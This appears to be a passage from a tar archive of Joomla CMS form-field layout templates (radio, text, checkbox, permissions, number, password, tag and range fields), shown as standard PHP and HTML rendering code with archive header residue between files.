00000010110 15216442676 0012672 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $options Options available for this field. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. */ /** * The format of the input tag to be filled in using sprintf. * %1 - id * %2 - name * %3 - value * %4 = any other attributes */ $format = '<input type="radio" id="%1$s" name="%2$s" value="%3$s" %4$s>'; $alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name); ?> <fieldset id="<?php echo $id; ?>" class="<?php echo trim($class . ' radio'); ?>" <?php echo $disabled ? 'disabled' : ''; ?> <?php echo $required ? 'required' : ''; ?> <?php echo $autofocus ? 'autofocus' : ''; ?> <?php echo $dataAttribute; ?>> <?php if (!empty($options)) : ?> <?php foreach ($options as $i => $option) : ?> <?php // Initialize some option attributes. $checked = ((string) $option->value === $value) ? 'checked="checked"' : ''; $optionClass = !empty($option->class) ? 'class="' . $option->class . '"' : ''; $disabled = !empty($option->disable) || ($disabled && !$checked) ? 'disabled' : ''; // Initialize some JavaScript option attributes. $onclick = !empty($option->onclick) ? 'onclick="' . $option->onclick . '"' : ''; $onchange = !empty($option->onchange) ? 'onchange="' . $option->onchange . '"' : ''; $oid = $id . $i; $ovalue = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8'); $attributes = array_filter([$checked, $optionClass, $disabled, $onchange, $onclick]); ?> <?php if ($required) : ?> <?php $attributes[] = 'required'; ?> <?php endif; ?> <div class="radio mb-0"> <label for="<?php echo $oid; ?>" <?php echo $optionClass; ?>> <?php echo sprintf($format, $oid, $name, $ovalue, implode(' ', $attributes)); ?> <?php echo Text::alt($option->text, $alt); ?> </label> </div> <?php endforeach; ?> <?php endif; ?> </fieldset> joomla/form/field/text.php 0000644 00000012646 15216442676 0011576 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $accept File types that are accepted. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. * @var string $dirname The directory name * @var string $addonBefore The text to use in a bootstrap input group prepend * @var string $addonAfter The text to use in a bootstrap input group append * @var boolean $charcounter Does this field support a character counter? */ $list = ''; if ($options) { $list = 'list="' . $id . '_datalist"'; } $charcounterclass = ''; if ($charcounter) { // Load the js file /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = Factory::getApplication()->getDocument()->getWebAssetManager(); $wa->useScript('short-and-sweet'); // Set the css class to be used as the trigger $charcounterclass = ' charcount'; // Set the text $counterlabel = 'data-counter-label="' . $this->escape(Text::_('JFIELD_META_DESCRIPTION_COUNTER')) . '"'; } $attributes = [ !empty($class) ? 'class="form-control ' . $class . $charcounterclass . '"' : 'class="form-control' . $charcounterclass . '"', !empty($size) ? 'size="' . $size . '"' : '', !empty($description) ? 'aria-describedby="' . ($id ?: $name) . '-desc"' : '', $disabled ? 'disabled' : '', $readonly ? 'readonly' : '', $dataAttribute, $list, strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '', $onchange ? ' onchange="' . $onchange . '"' : '', !empty($maxLength) ? $maxLength : '', $required ? 'required' : '', !empty($autocomplete) ? 'autocomplete="' . $autocomplete . '"' : '', $autofocus ? ' autofocus' : '', $spellcheck ? '' : 'spellcheck="false"', !empty($inputmode) ? $inputmode : '', !empty($counterlabel) ? $counterlabel : '', !empty($pattern) ? 'pattern="' . $pattern . '"' : '', // @TODO add a proper string here!!! !empty($validationtext) ? 'data-validation-text="' . $validationtext . '"' : '', ]; $addonBeforeHtml = '<span class="input-group-text">' . Text::_($addonBefore) . '</span>'; $addonAfterHtml = '<span class="input-group-text">' . Text::_($addonAfter) . '</span>'; ?> <?php if (!empty($addonBefore) || !empty($addonAfter)) : ?> <div class="input-group"> <?php endif; ?> <?php if (!empty($addonBefore)) : ?> <?php echo $addonBeforeHtml; ?> <?php endif; ?> <input type="text" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" <?php echo $dirname; ?> <?php echo implode(' ', $attributes); ?>> <?php if (!empty($addonAfter)) : ?> <?php echo $addonAfterHtml; ?> <?php endif; ?> <?php if (!empty($addonBefore) || !empty($addonAfter)) : ?> </div> <?php endif; ?> <?php if ($options) : ?> <datalist id="<?php echo $id; ?>_datalist"> <?php foreach ($options as $option) : ?> <?php if (!$option->value) : ?> <?php continue; ?> <?php endif; ?> <option value="<?php echo $option->value; ?>"><?php echo $option->text; ?></option> <?php endforeach; ?> </datalist> <?php endif; ?> joomla/form/field/checkboxes.php 0000644 00000010273 15216442676 0012722 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2015 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attributes for eg, data-*. */ /** * The format of the input tag to be filled in using sprintf. * %1 - id * %2 - name * %3 - value * %4 = any other attributes */ $format = '<input type="checkbox" id="%1$s" name="%2$s" value="%3$s" %4$s>'; // The alt option for Text::alt $alt = preg_replace('/[^a-zA-Z0-9_\-]/', '_', $name); ?> <fieldset id="<?php echo $id; ?>" class="<?php echo trim($class . ' checkboxes'); ?>" <?php echo $required ? 'required' : ''; ?> <?php echo $autofocus ? 'autofocus' : ''; ?> <?php echo $dataAttribute; ?>> <legend class="visually-hidden"><?php echo $label; ?></legend> <?php foreach ($options as $i => $option) : ?> <?php // Initialize some option attributes. $checked = in_array((string) $option->value, $checkedOptions, true) ? 'checked' : ''; // In case there is no stored value, use the option's default state. $checked = (!$hasValue && $option->checked) ? 'checked' : $checked; $optionClass = !empty($option->class) ? 'class="form-check-input ' . $option->class . '"' : ' class="form-check-input"'; $optionDisabled = !empty($option->disable) || $disabled ? 'disabled' : ''; // Initialize some JavaScript option attributes. $onclick = !empty($option->onclick) ? 'onclick="' . $option->onclick . '"' : ''; $onchange = !empty($option->onchange) ? 'onchange="' . $option->onchange . '"' : ''; $oid = $id . $i; $value = htmlspecialchars($option->value, ENT_COMPAT, 'UTF-8'); $attributes = array_filter([$checked, $optionClass, $optionDisabled, $onchange, $onclick]); ?> <div class="form-check form-check-inline"> <?php echo sprintf($format, $oid, $name, $value, implode(' ', $attributes)); ?> <label for="<?php echo $oid; ?>" class="form-check-label"> <?php echo $option->text; ?> </label> </div> <?php endforeach; ?> </fieldset> joomla/form/field/rules.php 0000644 00000034123 15216442676 0011736 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Access\Access; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Layout\LayoutHelper; use Joomla\CMS\Router\Route; use Joomla\CMS\Session\Session; extract($displayData); // Get some system objects. $document = Factory::getDocument(); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var array $options Options available for this field. * @var array $groups Available user groups. * @var array $actions Actions for the asset. * @var integer $assetId Access parameters. * @var string $component The component. * @var string $section The section. * @var boolean $isGlobalConfig Current view is global config? * @var boolean $newItem The new item. * @var object $assetRules Rules for asset. * @var integer $parentAssetId To calculate permissions. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attributes for eg, data-*. */ // Add Javascript for permission change HTMLHelper::_('form.csrf'); Factory::getDocument()->getWebAssetManager() ->useStyle('webcomponent.field-permissions') ->useScript('webcomponent.field-permissions') ->useStyle('webcomponent.joomla-tab') ->useScript('webcomponent.joomla-tab'); // Load JavaScript message titles Text::script('ERROR'); Text::script('WARNING'); Text::script('NOTICE'); Text::script('MESSAGE'); // Add strings for JavaScript error translations. Text::script('JLIB_JS_AJAX_ERROR_CONNECTION_ABORT'); Text::script('JLIB_JS_AJAX_ERROR_NO_CONTENT'); Text::script('JLIB_JS_AJAX_ERROR_OTHER'); Text::script('JLIB_JS_AJAX_ERROR_PARSE'); Text::script('JLIB_JS_AJAX_ERROR_TIMEOUT'); // Ajax request data. $ajaxUri = Route::_('index.php?option=com_config&task=application.store&format=json&' . Session::getFormToken() . '=1'); ?> <?php // Description ?> <details> <summary class="rule-notes"> <?php echo Text::_('JLIB_RULES_SETTINGS_DESC'); ?> </summary> <div class="rule-notes"> <?php if ($section === 'component' || !$section) { echo Text::alt('JLIB_RULES_SETTING_NOTES', $component); } else { echo Text::alt('JLIB_RULES_SETTING_NOTES_ITEM', $component . '_' . $section); } ?> </div> </details> <?php // Begin tabs ?> <joomla-field-permissions class="row mb-2" data-uri="<?php echo $ajaxUri; ?>" <?php echo $dataAttribute; ?>> <joomla-tab orientation="vertical" id="permissions-sliders" recall breakpoint="728"> <?php // Initial Active Pane ?> <?php foreach ($groups as $group) : ?> <?php $active = (int) $group->value === 1 ? ' active' : ''; ?> <joomla-tab-element class="tab-pane" <?php echo $active; ?> name="<?php echo htmlentities(LayoutHelper::render('joomla.html.treeprefix', ['level' => $group->level + 1]), ENT_COMPAT, 'utf-8') . $group->text; ?>" id="permission-<?php echo $group->value; ?>"> <table class="table respTable"> <thead> <tr> <th class="actions w-30" id="actions-th<?php echo $group->value; ?>"> <span class="acl-action"><?php echo Text::_('JLIB_RULES_ACTION'); ?></span> </th> <th class="settings w-40" id="settings-th<?php echo $group->value; ?>"> <span class="acl-action"><?php echo Text::_('JLIB_RULES_SELECT_SETTING'); ?></span> </th> <th class="w-30" id="aclaction-th<?php echo $group->value; ?>"> <span class="acl-action"><?php echo Text::_('JLIB_RULES_CALCULATED_SETTING'); ?></span> </th> </tr> </thead> <tbody> <?php // Check if this group has super user permissions ?> <?php $isSuperUserGroup = Access::checkGroup($group->value, 'core.admin'); ?> <?php foreach ($actions as $action) : ?> <tr> <td class="oddCol" data-label="<?php echo Text::_('JLIB_RULES_ACTION'); ?>" headers="actions-th<?php echo $group->value; ?>"> <label for="<?php echo $id; ?>_<?php echo $action->name; ?>_<?php echo $group->value; ?>"> <?php echo Text::_($action->title); ?> </label> <?php if (!empty($action->description)) : ?> <div role="tooltip" id="tip-<?php echo $id; ?>"> <?php echo htmlspecialchars(Text::_($action->description)); ?> </div> <?php endif; ?> </td> <td data-label="<?php echo Text::_('JLIB_RULES_SELECT_SETTING'); ?>" headers="settings-th<?php echo $group->value; ?>"> <div class="d-flex align-items-center"> <select data-onchange-task="permissions.apply" class="form-select novalidate" name="<?php echo $name; ?>[<?php echo $action->name; ?>][<?php echo $group->value; ?>]" id="<?php echo $id; ?>_<?php echo $action->name; ?>_<?php echo $group->value; ?>" > <?php /** * Possible values: * null = not set means inherited * false = denied * true = allowed */ // Get the actual setting for the action for this group. ?> <?php $assetRule = $newItem === false ? $assetRules->allow($action->name, $group->value) : null;?> <?php // Build the dropdowns for the permissions sliders // The parent group has "Not Set", all children can rightly "Inherit" from that.?> <option value="" <?php echo ($assetRule === null ? ' selected="selected"' : ''); ?>> <?php echo Text::_(empty($group->parent_id) && $isGlobalConfig ? 'JLIB_RULES_NOT_SET' : 'JLIB_RULES_INHERITED'); ?></option> <option value="1" <?php echo ($assetRule === true ? ' selected="selected"' : ''); ?>> <?php echo Text::_('JLIB_RULES_ALLOWED'); ?></option> <option value="0" <?php echo ($assetRule === false ? ' selected="selected"' : ''); ?>> <?php echo Text::_('JLIB_RULES_DENIED'); ?></option> </select>  <span id="icon_<?php echo $id; ?>_<?php echo $action->name; ?>_<?php echo $group->value; ?>"></span> </div> </td> <td data-label="<?php echo Text::_('JLIB_RULES_CALCULATED_SETTING'); ?>" headers="aclaction-th<?php echo $group->value; ?>"> <?php $result = []; ?> <?php // Get the group, group parent id, and group global config recursive calculated permission for the chosen action. ?> <?php $inheritedGroupRule = Access::checkGroup((int) $group->value, $action->name, $assetId); $inheritedGroupParentAssetRule = !empty($parentAssetId) ? Access::checkGroup($group->value, $action->name, $parentAssetId) : null; $inheritedParentGroupRule = !empty($group->parent_id) ? Access::checkGroup($group->parent_id, $action->name, $assetId) : null; // Current group is a Super User group, so calculated setting is "Allowed (Super User)". if ($isSuperUserGroup) { $result['class'] = 'badge bg-success'; $result['text'] = '<span class="icon-lock icon-white" aria-hidden="true"></span>' . Text::_('JLIB_RULES_ALLOWED_ADMIN'); } else { // First get the real recursive calculated setting and add (Inherited) to it. // If recursive calculated setting is "Denied" or null. Calculated permission is "Not Allowed (Inherited)". if ($inheritedGroupRule === null || $inheritedGroupRule === false) { $result['class'] = 'badge bg-danger'; $result['text'] = Text::_('JLIB_RULES_NOT_ALLOWED_INHERITED'); } else { // If recursive calculated setting is "Allowed". Calculated permission is "Allowed (Inherited)". $result['class'] = 'badge bg-success'; $result['text'] = Text::_('JLIB_RULES_ALLOWED_INHERITED'); } // Second part: Overwrite the calculated permissions labels if there is an explicit permission in the current group. /** * @todo: incorrect info * If a component has a permission that doesn't exists in global config (ex: frontend editing in com_modules) by default * we get "Not Allowed (Inherited)" when we should get "Not Allowed (Default)". */ // If there is an explicit permission "Not Allowed". Calculated permission is "Not Allowed". if ($assetRule === false) { $result['class'] = 'badge bg-danger'; $result['text'] = Text::_('JLIB_RULES_NOT_ALLOWED'); } elseif ($assetRule === true) { // If there is an explicit permission is "Allowed". Calculated permission is "Allowed". $result['class'] = 'badge bg-success'; $result['text'] = Text::_('JLIB_RULES_ALLOWED'); } // Third part: Overwrite the calculated permissions labels for special cases. // Global configuration with "Not Set" permission. Calculated permission is "Not Allowed (Default)". if (empty($group->parent_id) && $isGlobalConfig === true && $assetRule === null) { $result['class'] = 'badge bg-danger'; $result['text'] = Text::_('JLIB_RULES_NOT_ALLOWED_DEFAULT'); } elseif ($inheritedGroupParentAssetRule === false || $inheritedParentGroupRule === false) { /** * Component/Item with explicit "Denied" permission at parent Asset (Category, Component or Global config) configuration. * Or some parent group has an explicit "Denied". * Calculated permission is "Not Allowed (Locked)". */ $result['class'] = 'badge bg-danger'; $result['text'] = '<span class="icon-lock icon-white" aria-hidden="true"></span>' . Text::_('JLIB_RULES_NOT_ALLOWED_LOCKED'); } } ?> <output><span class="<?php echo $result['class']; ?>"><?php echo $result['text']; ?></span></output> </td> </tr> <?php endforeach; ?> </tbody> </table> </joomla-tab-element> <?php endforeach; ?> </joomla-tab> </joomla-field-permissions> joomla/form/field/number.php 0000644 00000006520 15216442676 0012074 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $accept File types that are accepted. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. */ $attributes = [ !empty($class) ? 'class="form-control ' . $class . '"' : 'class="form-control"', !empty($description) ? 'aria-describedby="' . ($id ?: $name) . '-desc"' : '', $disabled ? 'disabled' : '', $readonly ? 'readonly' : '', strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '', !empty($onchange) ? 'onchange="' . $onchange . '"' : '', isset($max) ? 'max="' . $max . '"' : '', !empty($step) ? 'step="' . $step . '"' : '', isset($min) ? 'min="' . $min . '"' : '', $required ? 'required' : '', !empty($autocomplete) ? 'autocomplete="' . $autocomplete . '"' : '', $autofocus ? 'autofocus' : '', $dataAttribute, ]; if (is_numeric($value)) { $value = (float) $value; } else { $value = ''; $value = ($required && isset($min)) ? $min : $value; } ?> <input type="number" inputmode="numeric" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" <?php echo implode(' ', $attributes); ?>> joomla/form/field/password.php 0000644 00000014077 15216442676 0012454 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\Text; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var boolean $rules Are the rules to be displayed? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var string $accept File types that are accepted. * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attribute for eg, data-*. * @var boolean $lock Is this field locked. */ $document = Factory::getApplication()->getDocument(); /** @var Joomla\CMS\WebAsset\WebAssetManager $wa */ $wa = $document->getWebAssetManager(); if ($meter) { $wa->useScript('field.passwordstrength'); $class = 'js-password-strength ' . $class; if ($forcePassword) { $class = $class . ' meteredPassword'; } } $wa->useScript('field.passwordview'); Text::script('JFIELD_PASSWORD_INDICATE_INCOMPLETE'); Text::script('JFIELD_PASSWORD_INDICATE_COMPLETE'); Text::script('JSHOWPASSWORD'); Text::script('JHIDEPASSWORD'); if ($lock) { Text::script('JMODIFY'); Text::script('JCANCEL'); $disabled = true; $hint = str_repeat('•', 10); $value = ''; } $ariaDescribedBy = $rules ? $name . '-rules ' : ''; $ariaDescribedBy .= !empty($description) ? (($id ?: $name) . '-desc') : ''; $attributes = [ strlen($hint) ? 'placeholder="' . htmlspecialchars($hint, ENT_COMPAT, 'UTF-8') . '"' : '', !empty($autocomplete) ? 'autocomplete="' . $autocomplete . '"' : '', !empty($class) ? 'class="form-control ' . $class . '"' : 'class="form-control"', !empty($ariaDescribedBy) ? 'aria-describedby="' . trim($ariaDescribedBy) . '"' : '', $readonly ? 'readonly' : '', $disabled ? 'disabled' : '', !empty($size) ? 'size="' . $size . '"' : '', !empty($maxLength) ? 'maxlength="' . $maxLength . '"' : '', $required ? 'required' : '', $autofocus ? 'autofocus' : '', !empty($minLength) ? 'data-min-length="' . $minLength . '"' : '', !empty($minIntegers) ? 'data-min-integers="' . $minIntegers . '"' : '', !empty($minSymbols) ? 'data-min-symbols="' . $minSymbols . '"' : '', !empty($minUppercase) ? 'data-min-uppercase="' . $minUppercase . '"' : '', !empty($minLowercase) ? 'data-min-lowercase="' . $minLowercase . '"' : '', !empty($forcePassword) ? 'data-min-force="' . $forcePassword . '"' : '', $dataAttribute, ]; if ($rules) { $requirements = []; if ($minLength) { $requirements[] = Text::sprintf('JFIELD_PASSWORD_RULES_CHARACTERS', $minLength); } if ($minIntegers) { $requirements[] = Text::sprintf('JFIELD_PASSWORD_RULES_DIGITS', $minIntegers); } if ($minSymbols) { $requirements[] = Text::sprintf('JFIELD_PASSWORD_RULES_SYMBOLS', $minSymbols); } if ($minUppercase) { $requirements[] = Text::sprintf('JFIELD_PASSWORD_RULES_UPPERCASE', $minUppercase); } if ($minLowercase) { $requirements[] = Text::sprintf('JFIELD_PASSWORD_RULES_LOWERCASE', $minLowercase); } } ?> <?php if ($rules) : ?> <div id="<?php echo $name . '-rules'; ?>" class="small text-muted"> <?php echo Text::sprintf('JFIELD_PASSWORD_RULES_MINIMUM_REQUIREMENTS', implode(', ', $requirements)); ?> </div> <?php endif; ?> <div class="password-group"> <div class="input-group"> <input type="password" name="<?php echo $name; ?>" id="<?php echo $id; ?>" value="<?php echo htmlspecialchars($value, ENT_COMPAT, 'UTF-8'); ?>" <?php echo implode(' ', $attributes); ?>> <?php if (!$lock) : ?> <button type="button" class="btn btn-secondary input-password-toggle"> <span class="icon-eye icon-fw" aria-hidden="true"></span> <span class="visually-hidden"><?php echo Text::_('JSHOWPASSWORD'); ?></span> </button> <?php else : ?> <button type="button" id="<?php echo $id; ?>_lock" class="btn btn-info input-password-modify locked"> <?php echo Text::_('JMODIFY'); ?> </button> <?php endif; ?> </div> </div> joomla/form/field/tag.php 0000644 00000011434 15216442676 0011357 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the field. * @var string $label Label of the field. * @var string $labelclass Classes to apply to the label. * @var boolean $multiple Does this field support multiple values? * @var string $name Name of the input field. * @var string $onchange Onchange attribute for the field. * @var string $onclick Onclick attribute for the field. * @var string $pattern Pattern (Reg Ex) of value of the form field. * @var boolean $readonly Is this field read only? * @var boolean $repeat Allows extensions to duplicate elements. * @var boolean $required Is this field required? * @var integer $size Size attribute of the input. * @var boolean $spellcheck Spellcheck state for the form field. * @var string $validate Validation rules to apply. * @var string $value Value attribute of the field. * @var array $checkedOptions Options that will be set as checked. * @var boolean $hasValue Has this field a value assigned? * @var array $options Options available for this field. * @var array $inputType Options available for this field. * @var boolean $allowCustom Flag, to allow add custom values * @var boolean $remoteSearch Flag, to enable remote search * @var integer $minTermLength Minimum length of the term to start searching * @var string $dataAttribute Miscellaneous data attributes preprocessed for HTML output * @var array $dataAttributes Miscellaneous data attributes for eg, data-*. */ $html = []; $attr = ''; // Initialize some field attributes. $attr .= $multiple ? ' multiple' : ''; $attr .= $autofocus ? ' autofocus' : ''; $attr .= $onchange ? ' onchange="' . $onchange . '"' : ''; $attr .= $dataAttribute; // To avoid user's confusion, readonly="readonly" should imply disabled="disabled". if ($readonly || $disabled) { $attr .= ' disabled="disabled"'; } $attr2 = ''; $attr2 .= !empty($class) ? ' class="' . $class . '"' : ''; $attr2 .= ' placeholder="' . $this->escape($hint ?: Text::_('JGLOBAL_TYPE_OR_SELECT_SOME_TAGS')) . '" '; $attr2 .= $dataAttribute; if ($allowCustom) { $attr2 .= $allowCustom ? ' allow-custom' : ''; $attr2 .= $allowCustom ? ' new-item-prefix="#new#"' : ''; } if ($remoteSearch) { $attr2 .= ' remote-search'; $attr2 .= ' url="' . Uri::root(true) . '/index.php?option=com_tags&task=tags.searchAjax"'; $attr2 .= ' term-key="like"'; $attr2 .= ' min-term-length="' . $minTermLength . '"'; } if ($required) { $attr .= ' required class="required"'; $attr2 .= ' required'; } // Create a read-only list (no name) with hidden input(s) to store the value(s). if ($readonly) { $html[] = HTMLHelper::_('select.genericlist', $options, '', trim($attr), 'value', 'text', $value, $id); // E.g. form field type tag sends $this->value as array if ($multiple && is_array($value)) { if (!count($value)) { $value[] = ''; } foreach ($value as $val) { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($val, ENT_COMPAT, 'UTF-8') . '">'; } } else { $html[] = '<input type="hidden" name="' . $name . '" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '">'; } } else // Create a regular list. { $html[] = HTMLHelper::_('select.genericlist', $options, $name, trim($attr), 'value', 'text', $value, $id); } Text::script('JGLOBAL_SELECT_NO_RESULTS_MATCH'); Text::script('JGLOBAL_SELECT_PRESS_TO_SELECT'); Factory::getDocument()->getWebAssetManager() ->usePreset('choicesjs') ->useScript('webcomponent.field-fancy-select'); ?> <joomla-field-fancy-select <?php echo $attr2; ?>><?php echo implode($html); ?></joomla-field-fancy-select> joomla/form/field/range.php 0000644 00000006164 15216442676 0011704 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; extract($displayData); /** * Layout variables * ----------------- * @var string $autocomplete Autocomplete attribute for the field. * @var boolean $autofocus Is autofocus enabled? * @var string $class Classes for the input. * @var string $description Description of the field. * @var boolean $disabled Is this field disabled? * @var string $group Group the field belongs to. <fields> section in form XML. * @var boolean $hidden Is this field hidden in the form? * @var string $hint Placeholder for the field. * @var string $id DOM id of the 